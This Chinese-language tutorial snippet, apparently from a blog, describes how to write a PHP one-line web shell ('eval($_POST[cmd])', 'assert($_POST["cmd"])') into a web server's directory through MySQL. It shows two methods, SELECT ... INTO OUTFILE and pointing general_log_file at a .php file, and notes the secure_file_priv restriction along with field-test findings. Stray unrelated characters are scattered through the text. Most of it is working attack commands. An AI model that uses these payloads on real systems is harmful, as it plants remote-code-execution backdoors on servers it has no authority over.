寫入文件 1 - 簡單的嘗試
select '<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/phpStudy/WWW/cmd.php'
可能報錯:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
在mysql中使用secure_file_priv配置項拾酝,對數(shù)據(jù)導(dǎo)入導(dǎo)出的限制。
導(dǎo)出數(shù)據(jù)表
把mydata.user表的數(shù)據(jù)導(dǎo)出來:
select * from mydata.user INTO OUTFILE '/home/mysql/user.txt';
mysql的官方:
--secure-file-priv=name Limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() to files within specified directory
限制導(dǎo)出導(dǎo)入文件到特定目錄祈惶,其具體用法:
# 限制mysqld的導(dǎo)入和導(dǎo)出,完全禁止出。
mysqld --secure_file_prive=null
# 限制mysqld的導(dǎo)入和導(dǎo)出恒削,只能在特定目錄 /tmp/之下
mysqld --secure_file_priv=/tmp/
# 不限制mysqld的導(dǎo)入和導(dǎo)出
在文件/etc/my.cnf中不寫 --secure_file_priv
寫入文件 2 - 通過general_log和general_log_file
--secure-file-priv
general log簡介:
mysql:打開general log選項,所有的查詢語句都在general log文件中以可讀的方式得到
(這樣general log文件會非常大尾序,所以默認(rèn)是關(guān)閉的钓丰!有的時候為了查錯等原因,會暫時打開general log)
即general_log_file會記錄所有的查詢語句每币,以原始的狀態(tài)來顯示携丁。
寫入原理:
將general_log開關(guān)打開,語句指定general_log_file為1.php文件兰怠,則查詢語句的結(jié)果 全部寫入到general_log_file指定的文件1.php
執(zhí)行語句:
# 查看genera文件配置情況
show global variables like "%genera%";
#查看有讀寫權(quán)限的目錄
show global variables like ‘%secure%’;
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/upload/1.php';
SELECT '<?php assert($_POST["cmd"]);?>';
大部分都好用
有一次實測失敗了:general_log 可寫到目錄home或tmp 但web根目錄寫不了
嘗試寫web目錄的子目錄(比如img. upload)
改了log file路徑之后 general log就神奇般的自動從ON變?yōu)镺FF了
再改回ON,下面的log路徑就自動變回去梦鉴。
# 關(guān)閉general_log
set global general_log=off;